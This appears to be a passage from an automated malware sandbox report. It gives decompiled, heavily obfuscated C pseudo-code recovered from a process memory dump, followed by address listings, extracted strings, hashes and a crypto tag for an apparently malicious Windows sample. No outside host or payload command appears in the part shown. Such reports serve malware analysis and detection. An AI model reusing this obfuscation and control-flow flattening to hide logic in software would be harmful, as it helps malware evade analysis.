				_v228 = _v228 + 0x2e9b;
				_v228 = _v228 + 0xffff8964;
				_v228 = _v228 ^ 0x23ba9bf9;
				_v264 = 0xe685de;
				_t800 = 0x37;
				_v264 = _v264 * 5;
				_v264 = _v264 << 3;
				_v264 = _v264 ^ 0x240c8630;
				_v44 = 0x14cbda;
				_v44 = _v44 + 0xffff3a4b;
				_v44 = _v44 ^ 0x0010602b;
				_v52 = 0x1a3334;
				_v52 = _v52 ^ 0x068d8d0f;
				_v52 = _v52 ^ 0x06918054;
				_v60 = 0xaf3d51;
				_v60 = _v60 + 0xffff6264;
				_v60 = _v60 ^ 0x00a9df53;
				_v200 = 0x71a8f9;
				_v200 = _v200 + 0x8847;
				_v200 = _v200 ^ 0x82b40171;
				_v200 = _v200 / _t800;
				_v200 = _v200 ^ 0x02617ea6;
				_v204 = 0x911bb9;
				_t801 = 0x35;
				_v204 = _v204 * 0x50;
				_v204 = _v204 + 0xffff59e3;
				_v204 = _v204 / _t801;
				_v204 = _v204 ^ 0x00d8a8d3;
				_v48 = 0x1e2b49;
				_v48 = _v48 + 0xffff0c75;
				_v48 = _v48 ^ 0x001a2795;
				_v168 = 0xc7820c;
				_t802 = 0x39;
				_v168 = _v168 / _t802;
				_v168 = _v168 + 0xffff4704;
				_v168 = _v168 ^ 0x0003986f;
				_v124 = 0x6bd51f;
				_v124 = _v124 << 0xc;
				_v124 = _v124 * 0x75;
				_v124 = _v124 ^ 0x8677d78d;
				_v112 = 0x5ede35;
				_v112 = _v112 << 0xe;
				_v112 = _v112 | 0xed99d87a;
				_v112 = _v112 ^ 0xff9c1971;
				_v140 = 0xd25fe4;
				_v140 = _v140 ^ 0x91b7fe4b;
				_t803 = 0x31;
				_v140 = _v140 * 0x59;
				_v140 = _v140 ^ 0x8c53baba;
				_v24 = 0x69dec7;
				_v24 = _v24 + 0xffff289d;
				_v24 = _v24 ^ 0x0068496e;
				_v268 = 0xfe2e0f;
				_v268 = _v268 + 0x26d8;
				_v268 = _v268 / _t803;
				_t804 = 0x1a;
				_v268 = _v268 / _t804;
				_v268 = _v268 ^ 0x000142e0;
				_v260 = 0xf9e36a;
				_v260 = _v260 | 0x3f41e488;
				_v260 = _v260 ^ 0x3ff084b0;
				_t900 = _v8;
				_t892 = _v8;
				while(1) {
					L1:
					_t757 = _v220;
					_t805 = 0x8b02343;
					while(1) {
						L2:
						_t874 = 0x1521ea4;
						while(1) {
							L3:
							_t904 = _t893 - 0x65b0c22;
							if(_t904 > 0) {
								goto L18;
							}
							L4:
							if(_t904 == 0) {
								E00D97B46(_t757, _v140, _v24);
								_t893 = 0x2386dfb;
								while(1) {
									L1:
									_t757 = _v220;
									_t805 = 0x8b02343;
									goto L2;
								}
							} else {
								if(_t893 == _t874) {
									_t757 = E00D9F984(_v196, _t900, _t805, _t805, _v180, _t805, _v104, _a40, _t805, _v88, _v212, _a20, _v100, _v28);
									_t902 =  &(_t902[0xc]);
									_v220 = _t757;
									__eflags = _t757;
									_t805 = 0x8b02343;
									_t893 =  !=  ? 0x8b02343 : 0x2386dfb;
									goto L2;
								} else {
									if(_t893 == 0x15b98a1) {
										_t893 = 0x9ed2ff1;
										continue;
									} else {
										if(_t893 == 0x2386dfb) {
											E00D97B46(_t900, _v268, _v260);
										} else {
											if(_t893 == 0x4000434) {
												E00D97B46(_t892, _v124, _v112);
												_t893 = 0x65b0c22;
												while(1) {
													L1:
													_t757 = _v220;
													_t805 = 0x8b02343;
													goto L2;
												}
											} else {
												if(_t893 != 0x4250561) {
													L38:
													__eflags = _t893 - 0xc402532;
													if(_t893 != 0xc402532) {
														_t757 = _v220;
														continue;
													}
												} else {
													_t823 = _v4;
													if( *_t823 == 0) {
														_t769 = 0;
														__eflags = 0;
													} else {
														_t769 =  *((intOrPtr*)(_t823 + 4));
													}
													E00DAD4B7(_v200, _t892, _v204, _t823, _t769, _a8, _v48, _v168,  *_t823);
													_t902 =  &(_t902[7]);
													asm("sbb esi, esi");
													_t893 = (_t893 & 0x06f981ef) + 0x4000434;
													while(1) {
														L1:
														_t757 = _v220;
														_t805 = 0x8b02343;
														L2:
														_t874 = 0x1521ea4;
														while(1) {
															L3:
															_t904 = _t893 - 0x65b0c22;
															if(_t904 > 0) {
																goto L18;
															}
															goto L4;
														}
														goto L18;
													}
												}
											}
										}
									}
								}
							}
							L41:
							return _t786;
							L18:
							__eflags = _t893 - _t805;
							if(_t893 == _t805) {
								__eflags =  *_v4;
								if(__eflags == 0) {
									_t759 = _v12;
								} else {
									_push(0xd91178);
									_v12 = E00DB0AD3(_v256, _v72, __eflags);
								}
								_t814 = _v16 | _v224 | _v252 | _v64 | _v32 | _v156 | _v116 | _v148 | _v188;
								_t895 = _a36 & 1;
								__eflags = _t895;
								if(_t895 != 0) {
									__eflags = _t814;
								}
								_t892 = E00DAE70C(_t814, 1, _v96, _v20, _t814, _v176, _t814, _v184, _v220, _t814, _v56, _a28, _t759);
								E00DA2EED(_v76, _v84, _v92, _v12);
								_t902 =  &(_t902[0xd]);
								__eflags = _t892;
								if(_t892 == 0) {
									_t893 = 0x65b0c22;
									goto L37;
								} else {
									_v36 = 1;
									E00D9D7E2(_t892,  &_v36, 4, _v236, _v152, _v160, _v244, _v192);
									_t902 =  &(_t902[6]);
									__eflags = _t895;
									if(_t895 != 0) {
										E00DA5F7D(_v68, _t892,  &_v8, _v136, _v144, _v228,  &_v36);
										_t684 =  &_v36;
										 *_t684 = _v36 | _v128;
										__eflags =  *_t684;
										E00D9D7E2(_t892,  &_v36, _v8, _v264, _v120, _v44, _v52, _v60);
										_t902 =  &(_t902[0xb]);
									}
									_t893 = 0x4250561;
									goto L1;
								}
							} else {
								__eflags = _t893 - 0x93954fc;
								if(_t893 == 0x93954fc) {
									__eflags = E00DA5B7C(_t892, _a16);
									_t893 = 0x4000434;
									_t765 = 1;
									_t786 =  !=  ? _t765 : _t786;
									while(1) {
										L1:
										_t757 = _v220;
										_t805 = 0x8b02343;
										goto L2;
									}
								} else {
									__eflags = _t893 - 0x9ed2ff1;
									if(_t893 == 0x9ed2ff1) {
										_t893 = 0xdffbe0d;
										continue;
									} else {
										__eflags = _t893 - 0xaf98623;
										if(__eflags == 0) {
											__eflags = E00DB314A(_t892, _v232, __eflags) - _v132;
											_t893 =  ==  ? 0x93954fc : 0x4000434;
											while(1) {
												L1:
												_t757 = _v220;
												_t805 = 0x8b02343;
												goto L2;
											}
										} else {
											__eflags = _t893 - 0xdffbe0d;
											if(_t893 == 0xdffbe0d) {
												_push(_t805);
												_t775 = E00DA02E9(_v172, _v240, _v80, _t805, _t805, _v208, _t805, _v248);
												_t900 = _t775;
												__eflags = _t775;
												_t893 =  !=  ? 0x1521ea4 : 0xc402532;
												E00D9F699(_v216, 0, _v164, _v108, _v40);
												_t902 =  &(_t902[0xa]);
												L37:
												_t874 = 0x1521ea4;
												_t805 = 0x8b02343;
											}
											goto L38;
										}
									}
								}
							}
							goto L41;
						}
					}
				}
			}

0x00d9997d
0x00d99987
0x00d9998e
0x00d99995
0x00d9999c
0x00d999a3
0x00d999aa
0x00d999ab
0x00d999b2
0x00d999b9
0x00d999c0
0x00d999c7
0x00d999c9
0x00d999ce
0x00d999d8
0x00d999dd
0x00d999e0
0x00d999ea
0x00d999f2
0x00d999f4
0x00d999fc
0x00d99a01
0x00d99a06
0x00d99a0e
0x00d99a16
0x00d99a1e
0x00d99a29
0x00d99a34
0x00d99a3f
0x00d99a4a
0x00d99a52
0x00d99a57
0x00d99a65
0x00d99a68
0x00d99a6c
0x00d99a74
0x00d99a7f
0x00d99a8a
0x00d99a95
0x00d99aa0
0x00d99ab6
0x00d99abd
0x00d99ac8
0x00d99ad3
0x00d99ae6
0x00d99ae9
0x00d99aea
0x00d99af1
0x00d99af9
0x00d99b04
0x00d99b1a
0x00d99b21
0x00d99b2c
0x00d99b40
0x00d99b47
0x00d99b52
0x00d99b5f
0x00d99b63
0x00d99b74
0x00d99b77
0x00d99b7b
0x00d99b83
0x00d99b8b
0x00d99b9b
0x00d99b9f
0x00d99ba4
0x00d99bac
0x00d99bb7
0x00d99bbe
0x00d99bc9
0x00d99bd1
0x00d99bd6
0x00d99bdb
0x00d99be0
0x00d99be5
0x00d99bf7
0x00d99bfc
0x00d99c05
0x00d99c10
0x00d99c1b
0x00d99c26
0x00d99c31
0x00d99c3c
0x00d99c47
0x00d99c52
0x00d99c5d
0x00d99c68
0x00d99c73
0x00d99c7e
0x00d99c89
0x00d99c94
0x00d99c9f
0x00d99caa
0x00d99cb5
0x00d99cc1
0x00d99cc6
0x00d99cd0
0x00d99cd5
0x00d99cdb
0x00d99ce3
0x00d99cef
0x00d99cf2
0x00d99cf6
0x00d99cfe
0x00d99d06
0x00d99d0e
0x00d99d13
0x00d99d18
0x00d99d20
0x00d99d28
0x00d99d32
0x00d99d36
0x00d99d3e
0x00d99d46
0x00d99d4b
0x00d99d50
0x00d99d58
0x00d99d60
0x00d99d6a
0x00d99d72
0x00d99d7d
0x00d99d82
0x00d99d88
0x00d99d90
0x00d99d98
0x00d99da2
0x00d99da3
0x00d99da7
0x00d99dac
0x00d99db4
0x00d99dbc
0x00d99dc4
0x00d99dcc
0x00d99dd4
0x00d99dd9
0x00d99de1
0x00d99de9
0x00d99dee
0x00d99df6
0x00d99dfe
0x00d99e0b
0x00d99e0f
0x00d99e17
0x00d99e1f
0x00d99e27
0x00d99e2f
0x00d99e3c
0x00d99e40
0x00d99e45
0x00d99e4d
0x00d99e55
0x00d99e5d
0x00d99e65
0x00d99e6d
0x00d99e75
0x00d99e7d
0x00d99e85
0x00d99e8a
0x00d99e92
0x00d99e9d
0x00d99ea5
0x00d99eb0
0x00d99eb8
0x00d99ec5
0x00d99ec9
0x00d99ece
0x00d99ed6
0x00d99ee3
0x00d99ee7
0x00d99ef2
0x00d99ef6
0x00d99efe
0x00d99f06
0x00d99f13
0x00d99f17
0x00d99f1f
0x00d99f2a
0x00d99f32
0x00d99f39
0x00d99f44
0x00d99f4f
0x00d99f5a
0x00d99f65
0x00d99f70
0x00d99f78
0x00d99f7f
0x00d99f87
0x00d99f8f
0x00d99f97
0x00d99f9f
0x00d99fa4
0x00d99fac
0x00d99fb4
0x00d99fbf
0x00d99fca
0x00d99fd5
0x00d99fe0
0x00d99fe8
0x00d99ff7
0x00d99ffa
0x00d99ffe
0x00d9a006
0x00d9a00e
0x00d9a021
0x00d9a028
0x00d9a033
0x00d9a03e
0x00d9a049
0x00d9a054
0x00d9a05c
0x00d9a069
0x00d9a075
0x00d9a079
0x00d9a081
0x00d9a08c
0x00d9a097
0x00d9a0a2
0x00d9a0b4
0x00d9a0b7
0x00d9a0be
0x00d9a0c9
0x00d9a0d4
0x00d9a0df
0x00d9a0ea
0x00d9a0f2
0x00d9a0fa
0x00d9a102
0x00d9a10a
0x00d9a112
0x00d9a11a
0x00d9a122
0x00d9a12a
0x00d9a135
0x00d9a13d
0x00d9a148
0x00d9a153
0x00d9a15b
0x00d9a166
0x00d9a171
0x00d9a17c
0x00d9a187
0x00d9a192
0x00d9a19d
0x00d9a1a8
0x00d9a1b0
0x00d9a1bd
0x00d9a1c1
0x00d9a1c6
0x00d9a1ce
0x00d9a1d6
0x00d9a1e0
0x00d9a1e4
0x00d9a1ec
0x00d9a1f6
0x00d9a1fe
0x00d9a206
0x00d9a20e
0x00d9a216
0x00d9a21e
0x00d9a22e
0x00d9a234
0x00d9a23c
0x00d9a24e
0x00d9a253
0x00d9a25c
0x00d9a267
0x00d9a272
0x00d9a27d
0x00d9a288
0x00d9a293
0x00d9a29b
0x00d9a2a0
0x00d9a2a8
0x00d9a2b0
0x00d9a2b8
0x00d9a2c5
0x00d9a2c8
0x00d9a2cc
0x00d9a2d1
0x00d9a2d9
0x00d9a2e4
0x00d9a2ef
0x00d9a2fa
0x00d9a305
0x00d9a310
0x00d9a31b
0x00d9a326
0x00d9a331
0x00d9a33c
0x00d9a344
0x00d9a34c
0x00d9a35c
0x00d9a360
0x00d9a368
0x00d9a375
0x00d9a378
0x00d9a37c
0x00d9a38c
0x00d9a390
0x00d9a398
0x00d9a3a3
0x00d9a3ae
0x00d9a3b9
0x00d9a3c5
0x00d9a3c8
0x00d9a3cc
0x00d9a3d4
0x00d9a3dc
0x00d9a3e7
0x00d9a3f7
0x00d9a3fe
0x00d9a409
0x00d9a416
0x00d9a41e
0x00d9a429
0x00d9a434
0x00d9a43f
0x00d9a454
0x00d9a457
0x00d9a45e
0x00d9a469
0x00d9a474
0x00d9a47f
0x00d9a48a
0x00d9a492
0x00d9a4a2
0x00d9a4aa
0x00d9a4ad
0x00d9a4b1
0x00d9a4b9
0x00d9a4c1
0x00d9a4c9
0x00d9a4d1
0x00d9a4d8
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00d9a4e8
0x00d9a4e8
0x00d9a4e8
0x00d9a4ed
0x00d9a4ed
0x00d9a4ed
0x00d9a4f3
0x00000000
0x00000000
0x00d9a4f9
0x00d9a4f9
0x00d9a61f
0x00d9a625
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00000000
0x00d9a4e3
0x00d9a4ff
0x00d9a501
0x00d9a5ef
0x00d9a5f4
0x00d9a5f7
0x00d9a5fb
0x00d9a602
0x00d9a607
0x00000000
0x00d9a507
0x00d9a50d
0x00d9a5a3
0x00000000
0x00d9a513
0x00d9a519
0x00d9a8d5
0x00d9a51f
0x00d9a525
0x00d9a593
0x00d9a599
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00000000
0x00d9a4e3
0x00d9a527
0x00d9a52d
0x00d9a8ba
0x00d9a8ba
0x00d9a8c0
0x00d9a8c2
0x00000000
0x00d9a8c2
0x00d9a533
0x00d9a533
0x00d9a53d
0x00d9a544
0x00d9a544
0x00d9a53f
0x00d9a53f
0x00d9a53f
0x00d9a566
0x00d9a56b
0x00d9a570
0x00d9a578
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00d9a4e8
0x00d9a4e8
0x00d9a4ed
0x00d9a4ed
0x00d9a4ed
0x00d9a4f3
0x00000000
0x00000000
0x00000000
0x00d9a4f3
0x00000000
0x00d9a4ed
0x00d9a4df
0x00d9a52d
0x00d9a525
0x00d9a519
0x00d9a50d
0x00d9a501
0x00d9a8de
0x00d9a8e7
0x00d9a62f
0x00d9a62f
0x00d9a631
0x00d9a718
0x00d9a71b
0x00d9a73c
0x00d9a71d
0x00d9a728
0x00d9a733
0x00d9a733
0x00d9a77f
0x00d9a783
0x00d9a783
0x00d9a785
0x00d9a787
0x00d9a787
0x00d9a7c1
0x00d9a7e0
0x00d9a7e5
0x00d9a7e8
0x00d9a7ea
0x00d9a8ab
0x00000000
0x00d9a7f0
0x00d9a80b
0x00d9a81f
0x00d9a824
0x00d9a827
0x00d9a829
0x00d9a856
0x00d9a870
0x00d9a870
0x00d9a870
0x00d9a899
0x00d9a89e
0x00d9a89e
0x00d9a8a1
0x00000000
0x00d9a8a1
0x00d9a637
0x00d9a637
0x00d9a63d
0x00d9a6ff
0x00d9a701
0x00d9a708
0x00d9a709
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00000000
0x00d9a4e3
0x00d9a643
0x00d9a643
0x00d9a649
0x00d9a6e7
0x00000000
0x00d9a64f
0x00d9a64f
0x00d9a655
0x00d9a6d8
0x00d9a6df
0x00d9a4df
0x00d9a4df
0x00d9a4df
0x00d9a4e3
0x00000000
0x00d9a4e3
0x00d9a657
0x00d9a657
0x00d9a65d
0x00d9a663
0x00d9a681
0x00d9a68d
0x00d9a69b
0x00d9a6ad
0x00d9a6b2
0x00d9a6b7
0x00d9a8b0
0x00d9a8b0
0x00d9a8b5
0x00d9a8b5
0x00000000
0x00d9a65d
0x00d9a655
0x00d9a649
0x00d9a63d
0x00000000
0x00d9a631
0x00d9a4ed
0x00d9a4e8

Strings

?t, xrefs: 00D9A1B0
1-l, xrefs: 00D99C1B
Kx, xrefs: 00D99BAC
Lj@, xrefs: 00D99AC8
nIh, xrefs: 00D9A47F
10x, xrefs: 00D99A4A
blZw, xrefs: 00D99DF6
J-, xrefs: 00D99FE8
M&, xrefs: 00D99D3E
42c, xrefs: 00D99FB4
-e, xrefs: 00D9A08C
%1o, xrefs: 00D9A049
u!, xrefs: 00D9A187
e4K, xrefs: 00D99C94
ZtD, xrefs: 00D99F2A

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %1o$-e$1-l$10x$42c$?t$J-$Kx$Lj@$M&$ZtD$blZw$e4K$nIh$u!
API String ID: 0-4213897193
Opcode ID: cb47434327158af74061452a3875ee35f96f98f7b856776ebd0ecdfad98d8ece
Instruction ID: 96c1299a4a870807d024f519d85f09d6f75758fec23d0b316abb66704a8b3e23
Opcode Fuzzy Hash: cb47434327158af74061452a3875ee35f96f98f7b856776ebd0ecdfad98d8ece
Instruction Fuzzy Hash: CD720F725083818FD778CF25C54AA9BBBE2FBC4704F108A1DE5DA96260D7B18949CF93

Uniqueness

Uniqueness Score: -1.00%

Function 00D96BFE, Relevance: 18.0, Strings: 14, Instructions: 484
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00D96BFE(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				unsigned int _v1780;
				signed int _v1784;
				signed int _v1788;
				signed int _v1792;
				signed int _v1796;
				signed int _v1800;
				void* _t556;
				void* _t560;
				void* _t564;
				short* _t570;
				void* _t577;
				void* _t579;
				void* _t583;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				void* _t597;
				signed int _t660;
				signed int _t661;
				void* _t663;
				void* _t668;
				intOrPtr* _t671;

				_v1584 = _v1584 & 0x00000000;
				_v1624 = 0xcd6a8e;
				_v1624 = _v1624 ^ 0x59f85b52;
				_v1624 = _v1624 ^ 0x5b3531dc;
				_v1780 = 0x153796;
				_v1780 = _v1780 ^ 0xa8923899;
				_v1780 = _v1780 | 0xac28b23c;
				_v1780 = _v1780 >> 0xd;
				_v1780 = _v1780 ^ 0x0003c082;
				_v1632 = 0x568d1d;
				_v1632 = _v1632 << 0xf;
				_v1632 = _v1632 ^ 0x468ec217;
				_v1616 = 0x9d4355;
				_t660 = 0x37;
				_t583 = __ecx;
				_v1616 = _v1616 / _t660;
				_t663 = 0x4a96617;
				_v1616 = _v1616 ^ 0x0000359d;
				_v1724 = 0x93f9c3;
				_v1724 = _v1724 << 2;
				_v1724 = _v1724 | 0x87fdad86;
				_v1724 = _v1724 ^ 0x87f5a7af;
				_v1772 = 0x86acb0;
				_t585 = 0x4f;
				_v1772 = _v1772 / _t585;
				_v1772 = _v1772 | 0x63c36736;
				_t586 = 0x5d;
				_v1772 = _v1772 * 0x4d;
				_v1772 = _v1772 ^ 0x01fd54a9;
				_v1708 = 0x504327;
				_v1708 = _v1708 << 6;
				_v1708 = _v1708 | 0x5b079a0f;
				_v1708 = _v1708 ^ 0x5f1f0ea3;
				_v1744 = 0x483dfe;
				_v1744 = _v1744 + 0x7962;
				_v1744 = _v1744 | 0x8f7a93af;
				_v1744 = _v1744 * 0x5e;
				_v1744 = _v1744 ^ 0xaf0ce591;
				_v1604 = 0xf324fc;
				_v1604 = _v1604 / _t586;
				_v1604 = _v1604 ^ 0x000117e7;
				_v1660 = 0x9b0ff3;
				_v1660 = _v1660 + 0xffff7fbd;
				_v1660 = _v1660 ^ 0x00946493;
				_v1768 = 0xe3e80;
				_v1768 = _v1768 + 0xffff3949;
				_v1768 = _v1768 ^ 0xcc667bab;
				_v1768 = _v1768 + 0xd761;
				_v1768 = _v1768 ^ 0xcc67c94c;
				_v1752 = 0x1ba7c7;
				_v1752 = _v1752 << 0xf;
				_v1752 = _v1752 / _t586;
				_v1752 = _v1752 ^ 0x0243af98;
				_v1636 = 0x20ffac;
				_v1636 = _v1636 << 5;
				_v1636 = _v1636 ^ 0x041b5824;
				_v1776 = 0x20e7b6;
				_v1776 = _v1776 + 0xdc4;
				_v1776 = _v1776 | 0x16692bc6;
				_v1776 = _v1776 + 0x1ef8;
				_v1776 = _v1776 ^ 0x166ead91;
				_v1588 = 0x5bcce1;
				_v1588 = _v1588 | 0xb1f42707;
				_v1588 = _v1588 ^ 0xb1f41bbe;
				_v1684 = 0x5005f4;
				_v1684 = _v1684 >> 5;
				_v1684 = _v1684 ^ 0x68e867d5;
				_v1684 = _v1684 ^ 0x68ed1d21;
				_v1628 = 0xdd4ed7;
				_v1628 = _v1628 << 0xc;
				_v1628 = _v1628 ^ 0xd4ef0c19;
				_v1800 = 0xcc2fe4;
				_t587 = 0x3d;
				_v1800 = _v1800 * 0x46;
				_v1800 = _v1800 ^ 0xccee4be8;
				_v1800 = _v1800 * 0x49;
				_v1800 = _v1800 ^ 0xa3e0a4c2;
				_v1668 = 0xdcf195;
				_v1668 = _v1668 + 0xffff5a5b;
				_v1668 = _v1668 ^ 0xaadb988a;
				_v1668 = _v1668 ^ 0xaa04b3de;
				_v1592 = 0xdb2eec;
				_v1592 = _v1592 | 0x5f830210;
				_v1592 = _v1592 ^ 0x5fd6e991;
				_v1700 = 0xcdaeb9;
				_v1700 = _v1700 + 0xa9d8;
				_v1700 = _v1700 + 0xb66f;
				_v1700 = _v1700 ^ 0x00c60899;
				_v1796 = 0xd07ac;
				_v1796 = _v1796 << 6;
				_v1796 = _v1796 + 0x6d81;
				_v1796 = _v1796 * 0x18;
				_v1796 = _v1796 ^ 0x4e3f386b;
				_v1612 = 0x56009b;
				_v1612 = _v1612 ^ 0x384c4bff;
				_v1612 = _v1612 ^ 0x381ba556;
				_v1600 = 0xf7e143;
				_v1600 = _v1600 / _t587;
				_v1600 = _v1600 ^ 0x00074027;
				_v1620 = 0xd026e5;
				_v1620 = _v1620 >> 7;
				_v1620 = _v1620 ^ 0x00091c5b;
				_v1640 = 0x4702c1;
				_t588 = 0x52;
				_v1640 = _v1640 / _t588;
				_v1640 = _v1640 ^ 0x0006a1c4;
				_v1648 = 0xc8140a;
				_v1648 = _v1648 + 0xffff0435;
				_v1648 = _v1648 ^ 0x00ca5ae3;
				_v1656 = 0x723f7d;
				_v1656 = _v1656 + 0xba41;
				_v1656 = _v1656 ^ 0x007ca4fd;
				_v1788 = 0x69db09;
				_v1788 = _v1788 + 0xf504;
				_v1788 = _v1788 * 0x65;
				_v1788 = _v1788 | 0x879c6e6e;
				_v1788 = _v1788 ^ 0xafb716ae;
				_v1792 = 0xdee7b0;
				_v1792 = _v1792 | 0x7d73bff1;
				_v1792 = _v1792 << 0xe;
				_v1792 = _v1792 ^ 0xfff81f60;
				_v1692 = 0xc3b6fe;
				_v1692 = _v1692 | 0x6405c425;
				_v1692 = _v1692 >> 0xd;
				_v1692 = _v1692 ^ 0x0005bb30;
				_v1736 = 0x36de01;
				_v1736 = _v1736 + 0x1e5d;
				_t589 = 0x1f;
				_v1736 = _v1736 / _t589;
				_t590 = 5;
				_v1736 = _v1736 / _t590;
				_v1736 = _v1736 ^ 0x00008f60;
				_v1644 = 0x7c75;
				_v1644 = _v1644 + 0x24e8;
				_v1644 = _v1644 ^ 0x000a8631;
				_v1704 = 0x776f2f;
				_v1704 = _v1704 | 0x27015ef2;
				_v1704 = _v1704 >> 1;
				_v1704 = _v1704 ^ 0x13ba9814;
				_v1784 = 0x521829;
				_v1784 = _v1784 << 1;
				_v1784 = _v1784 + 0xacbd;
				_v1784 = _v1784 << 6;
				_v1784 = _v1784 ^ 0x293a9c24;
				_v1716 = 0xc7b82c;
				_v1716 = _v1716 + 0xffff8c04;
				_t591 = 0x1b;
				_v1716 = _v1716 / _t591;
				_v1716 = _v1716 ^ 0x000bbd6a;
				_v1760 = 0x5af613;
				_t592 = 0x17;
				_v1760 = _v1760 / _t592;
				_t593 = 0x21;
				_v1760 = _v1760 * 0x79;
				_v1760 = _v1760 / _t593;
				_v1760 = _v1760 ^ 0x0003755a;
				_v1596 = 0x2d708b;
				_v1596 = _v1596 / _t593;
				_v1596 = _v1596 ^ 0x000db37e;
				_v1652 = 0x2eec22;
				_v1652 = _v1652 ^ 0x1f6efaaa;
				_v1652 = _v1652 ^ 0x1f426099;
				_v1676 = 0x1bfaf9;
				_t594 = 0x2c;
				_v1676 = _v1676 / _t594;
				_v1676 = _v1676 + 0x7ed5;
				_v1676 = _v1676 ^ 0x00011204;
				_v1728 = 0x99722;
				_t595 = 0x67;
				_v1728 = _v1728 / _t595;
				_v1728 = _v1728 + 0xa9ed;
				_v1728 = _v1728 ^ 0x000402ee;
				_v1764 = 0x7dadba;
				_v1764 = _v1764 | 0x440aef97;
				_v1764 = _v1764 ^ 0xd3501f2d;
				_v1764 = _v1764 | 0xcb63fec0;
				_v1764 = _v1764 ^ 0xdf6c0598;
				_v1712 = 0xfd5299;
				_v1712 = _v1712 + 0x574d;
				_t596 = 0x68;
				_v1712 = _v1712 / _t596;
				_v1712 = _v1712 ^ 0x000799f4;
				_v1720 = 0xd5633b;
				_v1720 = _v1720 ^ 0xfb7d43ee;
				_v1720 = _v1720 + 0xffff47bd;
				_v1720 = _v1720 ^ 0xfba62c54;
				_v1608 = 0x3d3a3f;
				_v1608 = _v1608 << 0xf;
				_v1608 = _v1608 ^ 0x9d12823b;
				_v1740 = 0x980e3b;
				_v1740 = _v1740 + 0xffff1fe6;
				_v1740 = _v1740 * 0x6e;
				_v1740 = _v1740 << 0xa;
				_v1740 = _v1740 ^ 0xd74f139c;
				_v1748 = 0xf6a327;
				_v1748 = _v1748 | 0x24bb4535;
				_v1748 = _v1748 / _t660;
				_v1748 = _v1748 + 0xffffd901;
				_v1748 = _v1748 ^ 0x00a06448;
				_v1756 = 0x23281c;
				_v1756 = _v1756 << 0xd;
				_v1756 = _v1756 + 0x3ace;
				_v1756 = _v1756 + 0xffffbc66;
				_v1756 = _v1756 ^ 0x6508bae1;
				_v1680 = 0xefa5f3;
				_v1680 = _v1680 + 0xd649;
				_v1680 = _v1680 >> 4;
				_v1680 = _v1680 ^ 0x000b71c0;
				_v1688 = 0xd7d7d;
				_v1688 = _v1688 << 6;
				_v1688 = _v1688 ^ 0x39cce6e9;
				_v1688 = _v1688 ^ 0x3a96b3cf;
				_v1696 = 0xe8190a;
				_v1696 = _v1696 + 0xffff8bcc;
				_v1696 = _v1696 * 0x45;
				_v1696 = _v1696 ^ 0x3e6c45dc;
				_v1732 = 0xaf65ed;
				_v1732 = _v1732 >> 1;
				_v1732 = _v1732 << 6;
				_v1732 = _v1732 + 0x301f;
				_v1732 = _v1732 ^ 0x15ed60b7;
				_v1664 = 0xbf44dc;
				_v1664 = _v1664 | 0xed1757a9;
				_v1664 = _v1664 ^ 0xd2cd8926;
				_v1664 = _v1664 ^ 0x3f771003;
				_v1672 = 0xa3137e;
				_v1672 = _v1672 | 0x61a4f07f;
				_v1672 = _v1672 << 4;
				_v1672 = _v1672 ^ 0x1a745c42;
				_t661 = _v1584;
				while(1) {
					L1:
					_t556 = 0xd83910a;
					while(1) {
						L2:
						_t597 = 0xecce1ce;
						do {
							L3:
							while(_t663 != 0x2f38181) {
								if(_t663 == 0x396a438) {
									return E00DA9038(_v1732, _v1664, _v1584, _v1672);
								}
								if(_t663 == 0x4a96617) {
									_t663 = 0x971ed5f;
									continue;
								}
								if(_t663 == 0x971ed5f) {
									_t560 = E00DB27E2();
									__eflags = _t560 - E00D9576B();
									_t556 = 0xd83910a;
									_t663 = 0x2f38181;
									_t661 =  !=  ? 0xd83910a : 0xf28d74f;
									L2:
									_t597 = 0xecce1ce;
									continue;
								}
								if(_t663 == 0xa7e2b43) {
									_push(_v1608);
									_push(0);
									_push( &_v1564);
									_push(_v1720);
									_push(_v1712);
									_push(_v1764);
									_push(0);
									_push( &_v1580);
									_t564 = E00DB06EF(_v1728, __eflags);
									__eflags = _t564;
									if(_t564 == 0) {
										L26:
										return _t564;
									}
									E00DA9038(_v1740, _v1748, _v1580, _v1756);
									return E00DA9038(_v1680, _v1688, _v1576, _v1696);
								}
								if(_t663 == 0xd093482) {
									E00D924AA(_t597, _v1708, __eflags,  &_v1044, _v1744, _v1604, _v1660);
									_t570 = E00DA0F17(_v1768, _v1752,  &_v1044, _v1636, _v1776);
									_t671 = _t668 + 0x1c;
									 *_t570 = 0;
									E00DACC3F(_v1588,  &_v524, __eflags, _v1684);
									 *_t671 = 0xd911d0;
									E00DB06A6(__eflags,  &_v1044, _v1668, E00DB0AD3(_v1628, _v1800, __eflags), _v1592, _v1700,  &_v1564, _v1796);
